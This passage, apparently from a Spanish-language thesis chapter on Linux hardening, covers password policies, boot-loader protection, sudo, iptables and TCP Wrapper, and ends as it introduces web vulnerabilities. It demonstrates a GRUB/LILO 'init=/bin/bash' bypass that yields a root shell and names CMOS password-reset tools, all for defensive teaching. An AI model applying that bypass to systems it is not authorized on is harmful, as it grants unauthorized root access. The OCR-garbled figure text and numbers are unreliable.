instalado en Ubuntu.

for Apache OpenOffice on Linux/0SX (Python). ..

work,/data/exploits/opencffice_document_macro/META-INF

Figura 2-14 Pantalla de generaciéon del documento con macro de LibreOffice en Metasploit

2.7 SEGURIDAD EN LINUX

Linux es el sistema operativo considerado mas seguro que el resto de sistemas como
Windows o Mac, esto debido a su mayor rendimiento, seguridad y menos propenso a fallos.
Sin embargo esto nos pone a analizar cuales son los motivos principales por el que se le

considera mas seguro:

— Linux es mas seguro que Windows o Mac debido a que los atacantes que producen
malware no estan muy interesados en atacar este tipo de sistemas, ya que la gestién de
los mismos sean estos en servidores o equipos de escritorio son por lo general
realizados por personal con experiencia. Todo esto conduce a que la tasa de instalacion
en las Organizaciones sea muy baja.

— Otro aspecto importante a tener en cuenta es que Linux tiene aplicaciones de software
libre, esto brinda la posibilidad de obtener el cédigo fuente y facilita detectar las

vulnerabilidades para corregirlas de manera mas rapida.
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Entonces podriamos concluir diciendo que Linux estad menos propenso a fallos, pero esto no
significa que sea considerado el mas seguro, basta con ver los reportes del afio 2017 en el
sitio de CVE Details (https://www.cvedetails.com/top-50-products.php?year=2017) en donde

el kernel de Linux tiene mas vulnerabilidades de seguridad que Windows 10. A continuacién

se muestra este reporte.

Top 50 Products By Total Number Of "Distinct” Vulnerabilities in 2017

Product Name Vendor Name Froduct Type HNHumber of Vulnerabilities
1 Android Google os 564
2 Linux Kernel Lirwix 0s 367
3 Imagemadick Imagemaaick Application 307
4 |phone Os Apple 05 280
5 llac Os X Apple os 210
6 Windows 10 Microsoft os 1385
7 Windows Server 2008 Microsoft 0s 187
8 Windows Server 2016 Microsoft (015 183
9 Windows Server 2012 Microsoft 05 176
10 Windows 7 Microsoft s 174
11 Windows 8.1 Microsoft os 167
12 Acrobat Acdobe Application 146
13 Acrobat Reader D Adobe Application 145
14  Acrobat De Acobe Application 145
15 Eeader Acdobe Application 145
16 Safari Apple Application 132
17 Ecge Microsoft Application 120
18 Apple Tv Apple Application 119
19 Windows Pt 8.1 icrosoft o5 101
20 Chrome Google Application 83
21 Debian Linux Dehian os 80
22 Fnview Anwiew Application 74
23 FEedora Fedoraproject (015 73
24 Binutils GhU Application 7o

Figura 2-15 Vulnerabilidades del Kernel de Linux en el afio 2017. Extraido de (CVE, sf)

2.7.1 SEGURIDAD DE LAS CONTRASENAS
En sistemas Linux seguros se debe considerar de manera primordial la seguridad de las
contrasefas de los usuarios, se debe establecer un buen sistema de autenticacion a través

de una correcta politica de contrasefas.

Las contrasefias deben ser robustas y dificiles de adivinar mediante técnicas de fuerza bruta
o predecible por parte de los usuarios. Para esto se puede utilizar el médulo PAM
(Pluggable Authentication Modules) para habilitar el soporte de cracklib, de esta manera se

puede proporcionar un mecanismo de autenticacibn que permite prevenir el uso de
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contrasefias antiguas, configurar la longitud minima, definir la complejidad y definir el
periodo de expiracion de las mismas.

En sistemas como Ubuntu, el médulo PAM cracklib no viene instalado por defecto y para

configurar las politicas de contrasefias se debe instalarlo con el siguiente comando:

$ sudo apt-get install libpam-cracklib

2.7.1.1 PREVENIR EL USO DE CONTRASENAS ANTIGUAS

Para prevenir el uso de contrasefias antiguas dentro del archivo de configuracién
“letc/pam.d/common-password” hemos de afiadir “remember=4", ubicandonos en la linea

que contiene la palabra tanto “password” y “pam_unix.iso”.

Con esto lo que estamos previniendo es el uso de 4 contrasefias recientemente usadas y

gque seran almacenadas en “/etc/security/opasswd”

GNU nano 2.4.2 File: /etc/pam.d/common-password

# To take advantage of this, it is recommended that you configure any
# local modules either before or after the default block, and use
# pam-auth-update to manage ection of other modules. ee
# pam-auth-update(8) for details
# here are the per-package modules (the "Primary" block

5 1 default=ignore] pam_unix.so obscure sha512 remember=5li

if no module succeeds
password requisite pam_deny.s
# prime the stack with a positive return value if ther
ids us returning an error just because nothing
the modules above will each just jump around

5 required pam_permit.so
# and here are more per-package modules (the "Additional" block
password optional pam_gnome /ring.so
# end of pam-auth-update config

Figura 2-16 Pantalla de configuracion para prevenir el uso de contrasefias antiguas
2.7.1.2 CONFIGURAR LA LONGITUD MINIMA DE LAS CONTRASENAS

Para configurar la longitud minima de las contrasefias dentro del archivo de configuracion
“/letc/pam.d/common-password”, hemos de afiadir “minlen=10", ubicandonos en la linea que

contiene la palabra tanto “password” y “pam_cracklib.so”.

Con esto lo que estamos definiendo es que la longitud de las contrasefias sea igual a 10.
Con el uso de mayusculas, mindsculas, numeros y simbolos, solo se podr4 usar un minimo

de 6 caracteres.
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= geovanny@ubuntu: ~
File Edit View Search Terminal Help
GNU nano 2.4.2 etc/pam.d/common-password

pam_cracklib.so retry=3 minlen=10 difok=3
1 default=ignore] pam_unix.so obscure use_authtok try_first
ne module succeeds

pam_deny.so

s C eq
# prime f there isn't one already;

# this avoilds us returning an error just because nothing sets a success code
# since the modules above will each just jump around

password required pam_permit.so

# and here are more per-package modules (the "Additional” block)

password optional pam_gnome_keyring.so

# end of pam-auth-update config

Figura 2-17 Pantalla de configuracién para definir la longitud de las contrasefias
2.7.1.3 DEFINIR LA COMPLEJIDAD DE LAS CONTRASENAS

Para definir la complejidad de las contrasefias, dentro del archivo de configuracion
“letc/pam.d/common-password” hemos de afiadir “ucredit=-1 Icredit=-2 dcredit=-1 ocredit=1",

ubicandonos en la linea que contiene la palabra tanto “password” y “pam_cracklib.so”.

Con esto lo que estamos obligando es: con “ucredit” incluir al menos una letra mayuscula,

con “Icredit” dos letras minusculas, con “dcredit” un digito y con “ocredit” un simbolo.

ONU nano 2.4.2 File: [etc/pan.d/connon-password

Figura 2-18 Pantalla de configuracién para definir la complejidad de las contrasefias
2.7.1.4 DEFINIR EL PERIODO DE EXPIRACION DE LAS CONTRASENAS

Para definir el periodo de expiracion de las contrasefias configuramos las variables
“PASS_MAX_DAYS=180", “PASS_MIN_DAYS=0", “PASS WARN_AGE=7", del archivo

“letc/login.defs”.

Minimum n
Number of

_MIN_D
RN_

Figura 2-19 Pantalla de configuracion para definir la expiracion de las contrasefias
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Con esto lo que estamos definiendo es que las contrasefias expiraran cada seis meses y

que se enviarda un mensaje de advertencia siete dias antes de la caducidad de las mismas.

2.7.2 SEGURIDAD DE ACCESO A LA CONSOLA
2.7.2.1 BIOS

Cuando un ordenador se enciende se ejecuta el software de la BIOS (Basic Input/Output
System) que se encuentra almacenado en la memoria ROM (Read only Memory). La BIOS
tiene como funcion determinar las configuraciones del equipo y proporcionar un sistema

para el control sobre los dispositivos.

Para acceder a la BIOS se lo puede realizar con una tecla o combinacién de ellas, es por
€s0 que se necesita protegerla con una contrasefia para evitar cambios de configuracion. El
equipo debe estar configurado en la BIOS para que arranque con proteccion de contrasefia
y desactivado otras unidades de arranque como CD/DVD ROM o USB.

Aunque la seguridad en la BIOS no garantiza que dichas contrasefias no puedan ser
borradas, basta con realizar un pequefio cortocircuito en la bateria de la CMOS o en algunas
placas base con utilizar el jumper es suficiente para borrarla. También existen otras formas
de resetearla mediante programas como: CMOS Passwords Recovery Tools, KILLCMOS
etc.

2.7.2.2 GRUB

Como habiamos mencionado el gestor de arranque de las distribuciones actuales es el
GRUB, que es el encargado de gestionar el arranque de los diferentes sistemas operativos
del equipo. Existe también LILO pero ya no muy utilizado debido a que es peligroso en su

argumento SINGLE permitiendo arrancar en modo monousuario.

Con la siguiente linea introducida en las opciones de LILO se puede llegar a conseguir una

Shell para cambiar la contrasefia de root:
linux init= /bin/bash rw

Para mitigar este problema de seguridad podemos editar el archivo de configuracion LILO

(/etc/lilo.conf) con los siguientes parametros:

— Delay = 0, para controlar la cantidad de tiempo que LILO debe esperar para que el usuario
ingrese datos antes de arrancar la opciéon por defecto

— Prompt, obliga al usuario para que ingrese datos y para que LILO no arranque automaticamente.

— Restricted, pide una contrasefia si se pasan opciones en tiempo de arranque

— Password, esta opcidn junto con restricted protege para no tener acceso en modo SINGLE.
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Otra opcion seria proteger el archivo “/etc/lilo.conf” para el grupo y el resto de grupos, de
esta manera no se pueda ver la contrasefia de LILO. Existe un comando llamado “chattr”
qgue permite convertir el archivo “/etc/lilo.conf’ en invariable, es decir sea cualquiera de los
permisos que tenga el mismo no podra ser borrado, renombrado o sobrescrito, solo teniendo

esa posibilidad el usuario root.
Ejemplo
$chattr +i /etc/lilo.conf

Si queremos realizar algdn cambio en el archivo de configuracion debemos ejecutar el

siguiente comando:
$chattr -i /etc/lilo.conf

GRUB es el gestor con un nivel de seguridad mayor, tiene una interfaz grafica para facilidad
de los usuarios, pero es necesario asegurarlo para que no se puedan realizar

modificaciones de configuracion.

GNU GRUB i tbuntu3. 9

ara Ubuntu

Figura 2-20 Pantalla del Grub de Ubuntu

Como podemos ver en la figura 2-20, GRUB nos permite editar una entrada del gestor de
arranque presionando la tecla “e”, esto puede ser aprovechado por un atacante con solo
modificar una de estas entradas y editando el archivo de configuracion, obteniendo de esta

manera una Shell como root.

Por ejemplo si editamos la entrada de Ubuntu y modificamos el archivo de configuracion
afadiendo la siguiente linea “rw init=/bin/bash”, obtendriamos acceso como root sin ingresar

ninguna contrasefna
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Figura 2-21 Pantalla de configuracién de la entrada del GRUB de Ubuntu

Al presionar F10 el sistema arranca sin pedir ninguna contrasefia de acceso y obtendriamos

la Shell de root.

-39 XOr - autonatically using
369485 aux : 12745.000 HBrsec
.3744501 async_tx: api initialized (async)
.3968661 nd: raidb personality registered for level 6
.3980581 md: raidS personality registered for level 5
.3990111 nd: raid4 personality registered for level 4
8 .4098681 md: raidlQ@ personality registered for level 10
dome .
Begi Running ~scriptssinit-premount ... done.
Begin: Mounting root file system ... Begin: Rumning ~scripts-local-top ... done.
Begin: Running ~scriptsslocal-prenount ... [ 6.4637201 Btrfs loaded
Scamming for Btrfs filesystems
done.
Begin: Will now check root file system ... fsck from util-linux 2.27.1
[/sbinsfsck.extd (1) -— rdevrsdall fsck.extd —a -CO0 /devssdal
sdevssdal: recovering journal
~devssdal: clean, 63598-589824 files, 4896632359040 blocks
dome .
8 6.8000181 EXT4-fs (sdal): mounted filesystem with ordered data mode. Opts: (null)
dome .
Begin: Running sscripts-local-bottom ... dove.
Begin: Running ~scriptssinit-bottom ... done.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: wo job control in this shell
[ 7.9690811 random: nonblocking pool is initialized
root@(nmone) :/# cd home
root@(mone) : homelt s
geovanny
rootl (none) : homelt

Figura 2-22 Pantalla de obtencion de Shell como root

Es por eso la necesidad de asegurar el arranque del GRUB para que no pueda ser
modificada su configuracién. Esta configuracion lo hacemos al final del archivo
“letc/grub.d/00_header”.

GNU nano 2.5.3 Archivo: /Etc/grub.dfaa,header

fi
else
nake_timeout “${GRUB_HIDDEN_TIMEOUT}” “${GRUB_TIMEOUT}" “${GRUB_TIMEOUT_STYLE}"
fi
if [ "x$GRUB_BUTTON_CMDS_ADDRESS " 1 && [ “x$GRUB_BUTTON_CMOS_CLEAN

<<EOF

cnosclean
EOF

fi

# Play an initial tune
if [ “x${GRUB_INIT_TUNE}"

"play S{GRUB_INIT_TUNE}"

fi

if [ "x§{GRUB_BADRAHI™ t= "' 1 : then
“badram S{GRUB_BADRAM}"
fi
<<EOF
superusers="geovanny"

password geovanny 1234
EOF

Figura 2-23 Pantalla de configuracion del archivo “/etc/grub.d/00_header”
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Si guardamos el archivo con la modificacion realizada como se muestra en la figura 2-23 y
ejecutamos “$update-grub”, automaticamente actualizaremos para que en el proximo

arranque el GRUB nos pida usuario y contrasefia para arrancar el sistema.

El problema con esta configuracion es que la contrasefia esta en texto claro, para ello lo que

debemos hacer es crear un hash de la contrasefia con el siguiente comando:

$grub-mkpasswd-pbkdf2

geovanyef irewall: ™5 grub-mkpasswd-pbkdf2
Introduzca contrasefia:
Reintroducir la contrasefia

el hash PBKDFZ de su contraseiia es grub.pbkdfZ.sha51Z.10000.6926665011400BE0633917908734998E 1BBSEZ05
2CAPFSCD1EZBAZ94n062?2EECO?DEAD 1CIEI?BAABESIBDEGOCIBDF48FIDABI 13FA94977569F PBEB2B9403668 . DAD4DIDE189

BAEBODDABZEC4FS82768EBC23D7B?ADS1E1F48059F434FEABO13F39B2E430F6C6781417702D5DC5AZ2CH02AZFO2CD45681481
63AECECCEFADD3681
geovamy®f irewall:™5

Figura 2-24 Pantalla para la obtencion de un hash de una contrasefa

Este hash obtenido es el que vamos a utilizar para reemplazarlo en el archivo de
configuracion “/etc/grub.d/00_header”, para ello ya no utilizaremos la sentencia “password”

como se ve en la figura 2.23, sino la sentencia “password_pbkdf2”.

GNU nano 2.5.3 Archivo: setcsgrub.d-00_header Modif icado

ri
else
make_timeout “${GRUB_HIDDEN_TIMEOUT}" “§{GRUB_TIMEDUT}" "“${GRUB_TIMEOUT STYLE}"
fi

if [ “x$GRUB_BUTTON_CMOS_ADDRESS" ?= "x" 1 && [ “xSGRUB_BUTTON_CHMDS_CLEAN" = "»yes" 1: then
<<EOF

cmosc lean

EOF

fi

# Play an initial tune

if [ "xS{GRUB_INIT_TUNE}" t= “x" 1 : then
"play S{GRUB_INIT_TUNE}"

fi

if [ "x3{GRUB_BADRAM}" t= "x" 1 : then
“badran §{GRUB_BADRAM}"

fi

<<EOF
superusers="geovanny"
passuord_pbkdf2 geovanny grub.pbkdfZ.sha512.10000 .95A4BC193C76D132B75377330E378AA3ATFIBBDZ459DFF6B1S
EOF

Figura 2-25 Pantalla de configuracion del “archivo 00_header” con el hash obtenido

En el préximo arranque del sistema luego de haber ejecutado el comando “$update-grub”,
nos pedird usuario y contrasefia para arrancar el sistema. Con este tipo de configuracién
evitariamos el acceso al menu de edicion pulsando la tecla “€” y a la linea de comando

pulsando la tecla “c”.

2.7.2.3 BLOQUEO DE SESIONES

En Linux existe un comando muy util para los administradores de sistemas, este comando
se llama “screen”. Lo que hace esencialmente es crear una terminal virtual dentro de un

equipo como puede ser un servidor mediante otra terminal como puede ser putty.
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La ventaja del uso de este comando es que si se llega a desconectar la maquina o terminal
(putty), la terminal virtual sigue trabajando con los procesos que se estén ejecutando en el
servidor. La activacion es muy simple basta con ejecutar desde la consola de comandos

“$screen” para crear una terminal virtual.

geovannyBf irewall ;™5 screen -ls

There are screens on:
1691 .ttyl.firewall (110617 23:51:29) (Attached)
1519 .misesion (11,06-17 23:22:33) (Detached)
1493 .misesion (11,06-17 23:16:57) (Detached)

3 Sockets in svar-srun/screensS—geovanmy.
geovanny@f irewall:"$

Figura 2-26 Pantalla de listado de terminales virtuales

Evidentemente que es una herramienta de mucha ayuda si queremos conectarnos
remotamente a nuestros equipos sin tener el riesgo de que si llega a fallar la conexion los
procesos ejecutados en el equipo remoto seguirdn ejecutandose, pero de igual manera es
interesante si queremos darle seguridad a nuestra conexién ya que nos permite bloquear la

sesion por medio de nuestra contrasefia de usuario con la opcion “Ctrl-a x”

Screen used by Luis Cabrera <geovanwny> on firewall.
Passuord: _

Figura 2-27 Pantalla de sesién bloqueada con contrasefa por el comando “screen”

En la figura 2-27 podemos apreciar que la sesién se encuentra bloqueada con nuestra
contrasefia de usuario por el comando “screen”. Si estamos acostumbrados a trabajar bajo
consola este comando nos ofrece un nivel de seguridad mayor, porque no estara disponible

el acceso para ningan usuario mientras que los procesos se seguiran ejecutandose.

2.7.2.4 TERMINALES POR DEFECTO

En Ubuntu tenemos por defecto seis consolas o terminales virtuales a las que se puede
acceder con la combinacion de teclas Ctrl+Alt+F1 hasta Ctrl+Alt+F6 (en modo terminal

Alt+F1....6), y con la combinacion Ctrl+Alt+F7 volvemos al modo gréfico.

Si trabajamos normalmente en modo gréafico no es conveniente tener ejecutandose varias
terminales, lo mejor es tener una sola consola activa no solo por reducir el uso del
procesador y mejorar la cantidad de memoria consumida, sino también porque se reduciria

las formas de acceso que tendria un atacante.
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Para reducir el nUmero de terminales virtuales en Ubuntu, se debe configurar activando el
valor de la variable “NAutoVTs” del archivo de configuracion “/etc/systemd/logind.conf”,
colocandolo el valor a “1”.

GNU nano 2.5.3 Archivo: retc/systemd-logind.conf

This file iz part of systemd.

systend is free software: you can redistribute it and-or modify it
under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation: either versiom Z.1 of the License, or

(at your option) any later version.

R

# Entries in this file show the compile time defaults.
# You can change settings by editing this file.
# Defaults can be restored by simply deleting this file.

#
# See logind.conf(5) for details.

[Laminl
NAutoUTs=1
H#HeservelVT=6

Figura 2-28 Pantalla de configuracién del archivo “/etc/systemd/logind.conf”
2.7.2.5 INFORMACION DEL BANNER DEL SISTEMA

La informacién que se encuentra en los archivos “/etc/issue” y “/etc/issue.net” puede servir a
un atacante para saber lo que se tiene instalado en el equipo, esta informaciéon puede ser
editada.

geovamyBf irewall: ™5 cat setc/issue
Ubuntu 16.04.2 LTS wn N1

geovammyef irewall: "5 cat setcsissue.net

Ubuntu 16.04.2 LIS
geovamyef irewall:™5 _

Figura 2-29 Pantalla de Informacién almacenada en los archivos “issue” e “issue.net”
2.7.2.6 SEGURIDAD AL COMANDO SUDO

Ubuntu tiene el comando “sudo” que permite a un usuario sin privilegios ejecutar un

comando como administrador l6gicamente nos pedira la contrasefia del mismo.

Muy ventajoso a diferencia de “su” que permite ingresar a una sesion de otro usuario sin
cerrar la nuestra, mientras que sudo ejecuta el comando como administrador pero en

seguida volvemos a ser un usuario sin privilegios.

Al ejecutar sudo se crea un periodo de tiempo del cual podemos seguir ejecutando
comandos como administradores sin que nos pida la contrasefia nuevamente, tendra que

caducar este periodo de tiempo para que nos vuelva a pedir la contrasenfia.

Por seguridad lo mejor es desactivar este periodo de gracia, para que siempre que se
ejecute comandos se pida la contrasefia de administrador y evitar de esta manera si es que
alguien se apodera del equipo en ese tiempo de gracia tenga los privilegios de

administrador.
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Para desactivar este periodo de gracia configuramos el archivo “/etc/sudoers” como se

puede ver en la siguiente figura.

GNU nano 2.5.3 firchivo: setc/sudoers

This file MUST be edited with the 'visudo' command as root.

Please consider adding local content in setc/sudoers.d~ instead of
directly modifying this file.

See the man page for details on how to write a sudoers file.

Defaults env_reset

Defaults mail_badpass

Defaults secure path="rusr-localrssbin: usr-local bin: usrsshin: usrsbin:sshin:sbin: snapsbin”
Defaults:ALL timestamp_timeout=0

Figura 2-30 Pantalla de configuracién del tiempo de gracia del comando sudo
2.7.2.7 BLOQUEO DE ACCESO A LA SHELL

En Ubuntu se tiene el usuario root que es el administrador y tiene todos los privilegios, existe
también otras cuentas de usuario que son creadas con privilegios de administracién que

tienen acceso a la Shell y que pueden ejecutar 6rdenes con el comando “su” o “sudo”.

Esto abre la posibilidad de que un intruso pueda acceder y comprometer el sistema por
medio de estas cuentas, para evitar esto se debe bloquear las cuentas y el acceso a la
Shell.

Con el comando ejecutado desde consola “$awk -F: ‘{print $1 ™" $3 ":" $7}' /etc/passwd”,
podemos ver los usuarios con su UID y su Shell. Teniendo la lista de usuarios identificamos
los que van a ser blogueados excepto el usuario root (UID=0). Para esto utilizamos el

siguiente comando:
$usermod —L nombreusuario.

El comando anterior permite bloguear a los usuarios del sistema y para deshabilitarles la

shell ejecutamos el siguiente comando:

$usermod —s /bin/bash/nologin nombreusuario

lightdm:120: fbin/false
geovanny:1000: /bin/bash/nologin
geovanny@ubuntu:~5 B

Figura 2-31 Pantalla de bloqueo a los usuarios para el acceso a la shell (/fetc/passwd)
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2.7.3 SEGURIDAD EN EL SISTEMA DE ARCHIVOS
Linux puede soportar una gran variedad de sistemas de archivos como son: Fatl6, Fat32,
NTFS, ext2, ext3, ext4, reiserFS, JFS, XFS. Los archivos estan formados de varios tipos:

—  (-) Archivos regulares

— (d) Directorio

— () Enlace

— (c) Dispositivo orientado a caracteres

— (s) Socket

- (p) pipe
— (b) Dispositivo orientado a bloques

Los permisos son:

— (r) Lectura
— (w) Escritura

— (x) Ejecucion

root root 4096 jun 11 09:55 .

root root 4096 jun 10 07:07 .

root root 2264 may 16 11:52 .armitage.prop
root root 1167 jun 10 15:40 .bash history
root root 3391 ago 30 2016 .bashrc
root root 4096 jun 10 07:10 .cache
root root 4096 may 26 13:40 .c

root root 4096 jun 10 07:10 De

root root 4096 may 12 23:58

root root 4096 may 16 09:33 Es

root root 4096 jun 11 09:55 .

root root 6738 jun 11 09:55 .

root root 4096 may 12 23:58 Im

root root 4096 may

root root 4096 may

root root 4096 may

root root 4096 may 16 09:47

root root 4096 may 12 23:58

root root 4096 jun 10 11:27 .n

root root 4096 may 12 23:58 PL las
root root 148 jun 8 2016 .profile
root root 4096 may 12 23:58 Publico
root root 1024 ago 30 2016 .rnd

root root 4096 may 12 23:58 Videos

1
1
1
9
9
<
2
2
2
1
2
3
3
4
8
2
2
2
1
2
1
2

Figura 2-32 Pantalla de permisos de los archivos en Linux

En Linux la seguridad se establece en los permisos que tienen los grupos y sus usuarios. En
la figura 2-32, se puede observar los permisos de usuario y grupos que tienen cada uno de

los archivos y carpetas del directorio raiz (comando Is —la).

El primer caracter representa al tipo de archivo descrito anteriormente, en este caso existen
archivos regulares (-) y directorios (d). Los siguientes tres caracteres describen los permisos
gue tienen el propietario, los siguientes el grupo y los Gltimos tres el resto de usuarios. Estos

permisos pueden ser modificados con el comando “chmod” mediante bits.
Ejemplo:

$chmod 777 archivo
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Permiso Binario Decimal
rwx rwx rwx | 111111 111 777
rw- rw- rw- | 110110 110 666
r-x =--- -- 101 000 000 500

2.7.4 SEGURIDAD EN LA RED
2.7.4.1 FIREWALL DE LINUX

El firewall es un sistema en hardware o software muy utilizado hoy en dia que nos permite
proteger una red o un computador en particular y que tiene como funcion principal evitar el

acceso no autorizado de manera externa hacia la red interna (intranet) o sentido contrario.

Habitualmente a diferencia de los sistemas Windows que por defecto vienen instalados
programas como el firewall, antivirus etc., que tienen un entorno grafico y son faciles de
configurar, en Linux este tipo de herramientas como el firewall (iptables) vienen instalados
pero sus configuraciones son mas complejas, es ahi que para poder asegurar mas el
sistema necesitamos realizar la configuracion de forma manual o instalar alternativas

gréaficas para un mejor entendimiento.

2.7.4.1.1 IPTABLES
Iptables es una herramienta que nos permite definir reglas, estas pueden ser de varios tipos
como son: reglas de filtrado (filter), reglas para la intranet (nat), reglas de manipulacién de

paquetes (mangle) y reglas para excepciones (raw).

En este apartado se va a describir cual es la estructura general del iptables, pero para una
mayor comprension en el Anexo C se describe los pasos para la configuraciéon de iptables

utilizando shorewall

Primero que nada hay que saber diferenciar entre Netfilter e iptables porque se suele a
veces confundir pensando que los dos son la misma cosa, ya que Netffilter viene incorporado

en el ndcleo de Linux y se lo controla mediante iptables.

NETFILTER: Es un framework disponible en el ndcleo Linux que permite interceptar y
manipular paquetes de red. EI componente més popular construido sobre Netffilter es
iptables, una herramienta de cortafuegos que permite no solamente filtrar paquetes, sino
también realizar traducciéon de direcciones de red (NAT) para IPv4 o mantener registros
de log. (Mejia, Ramirez , & Rivera , 2012, pag. 13)
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ilter comp onents

Jan Eng ardt, last updated 2014-0 23 initial, 2008-06-17)

Metfilter hook AP1

from and to to network stack; hardware

B Userspace tools
LI netfiter kemel components
[ other networking components

Figura 2-33 Componente de Netfilter. (Wikipedia, Netffilter)
— ESTRUCTURA DEL IPTABLES

Iptables estd compuesto por un conjunto de tablas, estas a su vez estan compuestas por un
conjunto de cadenas, y estas cadenas estan compuestas por un conjunto de reglas

PREROUTING Netfilter / IPTABLES Traffic Flow POSTROUTING
mangle mangle
nat Daniel Miessler

FO
mangle
Titter
J L CH.AMS are represented in blue, and

the tablesthey can be called from
are listed inred

ouTPUT
mangle
it
fitter

IHPUT
mangle
fitter

Figura 2-34 Flujo de trafico del iptables. (Miessler, s.f)

La estructura de las reglas es la siguiente:

Iptables -t “tabla” “parametro” “cadena” “caracteristica de comparacion” “accion”

En la siguiente figura se detalla la estructura de una regla creada como ejemplo.

iptables -t nat -A PREROUTING -i eth( -p tcp --dport 443 -j DMAT --to 192.168.3.2:443

tabla pardmetro cadena caracteristica de comparacidn accion

Figura 2-35 Estructura de las reglas en iptables
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En el Anexo G se describen las tablas y cadenas que forman parte de la estructura de
iptables y en el Anexo F se explica la configuracion del firewall ufw de Ubuntu en un entorno

grafico para equipos de escritorio

2.7.4.2 TCP WRAPPER

TCP Wrapper es una herramienta que nos permite denegar o filtrar el acceso a los servicios
que ofrecen los servidores con sistemas Linux. Esta herramienta es bastante facil de
configurar y de gran ayuda para denegar el acceso a servicios importantes. Su configuracion

se lo realiza mediante politicas permisivas o restrictivas para filtrar el acceso al equipo.

Para su configuracion utilizamos dos archivos: en el archivo “/etc/host.allow”, es donde se
definen las politicas permisivas, mientras que en el archivo “/etc/host.deny”, es donde se

definen las politicas restrictivas. La estructura de la regla es la siguiente:
“Servicio (ejemplo sshd): equipo (ejemplo 192.168.1.100): accion (ejemplo deny)”

A continuacion en la imagen se muestra un ejemplo de la configuracién del archivo
“letc/hosts.allow”, para denegar el acceso via SSH a la ip 192.168.1.100
® geovanny@ubuntu: ~

File Edit View Search Terminal Help
GNU nano 2.4.2 ile: /fetc/hosts.allow Modified

fetc/hosts.allow: list of hosts that are allowed to access the system.
See the manual pages hosts_access(5) and hosts_options(5).

#
#
#
# Example: ALL: LOCAL @some_netgroup

e ALL: .foobar.edu EXCEPT terminalserver.foobar.edu
#

7

#

H

=

If you're gnng to protect the portmapper use the name "rpcbind” for the
daemon name. See rpcbind(8) and rpc.mountd(8) for further information.

sshd: 192.168.1.100: den

Figura 2-36 Denegar acceso mediante TCP Wrapper (/etc/hosts.allow)

En la siguiente imagen en cambio se muestra un ejemplo de la configuracion del archivo

“letc/hosts.deny”, para denegar el acceso via SSH a todos los equipos.

¢ geovanny@ubuntu: ~
File Edit View Search Terminal Help
GNU nano 2.4.2 ile: 5 Modified

# address.
I

# You may wish to enable this to ensure any programs that don't

# validate looked up hostnames still leave understandable logs. In past
# versions of Debian this has been the default.
# ALL: PARANOID

sshd: ALL: spawn /bin/echo "Acceso denegado al servicio" %d "desde el equipo" %h >> /Denegados

Figura 2-37 Denegar acceso mediante TCP Wrapper (/etc/hosts.deny)

Como puede verse en la figura 2-37 a parte de denegar el acceso via SSH, esta regla
también nos imprime en pantalla el tipo de servicio denegado y la IP desde donde se intenta

conectarse, todo esto almacenando al fichero llamado Denegados.
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2.7.5 PROTECCION CON ANTIVIRUS
Aunque pensemos que al utilizar distribuciones de Linux el riesgo de infecciébn es menor,
siempre es bueno tener instalado un antivirus para comprobar unidades externas o

comprobar archivos que se envian a otros usuarios.

En la plataforma Windows existen antivirus tanto de pago como gratuitos, el Windows
Defender es uno de ellos que viene incorporado en la version de Windows 10. En Linux el
panorama es diferente ya que existen mas antivirus gratuitos que de pago para uso
domeéstico, ahora en cuanto a la efectividad todo depende si analizan en tiempo real o hay
que realizar operaciones manuales para realizar los analisis. En este sentido es un punto
muy importante a tener en cuenta al momento que queremos abrir 0 ejecutar algun archivo
que nos llega por diferentes medios. Es por eso que a continuacion detallo una lista de

antivirus que son los mas utilizados en el 2017 para la distribuciéon de Ubuntu.

— ClamAvV

— Cadigo abierto y gratuito

— Se puede usar desde la linea de comandos
— Mdltiples sistemas operativos

— Mdltiples carpetas y archivos

v ClamTK

— Entorno grafico y gratuito

— Actualizacion automatica

— Elimina troyanos, malware y virus

v" SOPHOS

— Gratuito

— Se puede usar desde la linea de comandos
— Elimina troyanos, malware y virus

— Detecta y bloquea aplicaciones que son maliciosas para el sistema
v" COMODO

—  Proteccion en tiempo real

— Actualizaciones autométicas

— Programacion de escaneos

—  Proteccién de correo electrénico

2.8 VULNERABILIDAD EN EL SERVIDOR WEB

Hoy en dia si nhavegamos por Internet nos encontramos con un sin nimero de sitios que
prestan servicios ya sean operacionales o informativos, podemos realizar operaciones

bancarias (transacciones, consultas, transferencias etc.), compras online, revisar nuestras
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redes sociales, correo, etc. Todo ésta multitud de opciones que nos ofrecen las empresas u
organizaciones ya sean pequefias, medianas o grandes corporaciones que exponen sus
servicios o productos al exterior para captar mas clientes, no seria posible sin la intervencién

de un Servidor Web. Todo lo mencionado esta siendo procesado dentro de este equipo.

Es por eso que un Servidor Web es el primer blanco que apunta un atacante, ya que
realmente es atractivo por el simple hecho de que estd expuesto externamente y que
cualquier tipo de vulnerabilidad que puede contener es una puerta de acceso a la red de una

organizacion.

Segun (OWASP, 2017), estas son las diez vulnerabilidades de aplicaciones web del 2017:

OWASP Top 10 — 2013 (Previous) OWASP Top 10 — 2017 (New)

Al - Injection Al - Injection

A2 - Broken Authentication and Session Management A2 - Broken Authentication and Session Management

A3 — Cross-Site Scripting (XSS) A3 - Cross-Site Scripting (XSS)

A4 — Insecure Direct Object References - Merged with A7 A4 — Broken Access Control (Original category in 2003/2004)
A5 - Security Misconfiguration A5 - Security Misconfiguration

A6 — Sensitive Data Exposure A6 - Sensitive Data Exposure

A7 - Missing Function Level Access Control - Merged with A4 & A7 - Insufficient Attack Protection (NEW)

A8 - Cross-Site Request Forgery (CSRF) A8 - Cross-Site Request Forgery (CSRF)
A9 - Using Components with Known Vulnerabilities A9 - Using Components with Known Vulnerabilities
A10 - Unvalidated Redirects and Forwards - Dropped A10 - Underprotected APIs (NEW)

Figura 2-38 OWASP top 10 2017. (OWASP, 2017)

Como podemos ver en la figura 2.38 la vulnerabilidad Remote File Intrusion no se encuentra
en el listado, y tampoco se encuentra en el Top Ten 2013 de OWASP, la dltima aparicion se
vio en el Top Ten 2007 (https://www.owasp.org/index.php/Top 10 2007). En este apartado

se explicara esta vulnerabilidad junto con Cross Site Scripting (XSS), porque mas adelante
en el capitulo 3 se va explotar un servidor Web (DVWA) con este tipo de vulnerabilidades.
En el Anexo H se explica la forma de explotar una vulnerabilidad XSS por medio del

framework XSSF que es utilizado para realizar este tipo de ataques.

2.8.1 REMOTE FILE INTRUSION (RFI)

Esta vulnerabilidad se encuentra Unicamente en péginas dinamicas de PHP permitiendo
enlazar archivos que se encuentran en servidores remotos, es decir que un atacante podria
incluir archivos remotos desde otro servidor. Esto se da debido a un error en la

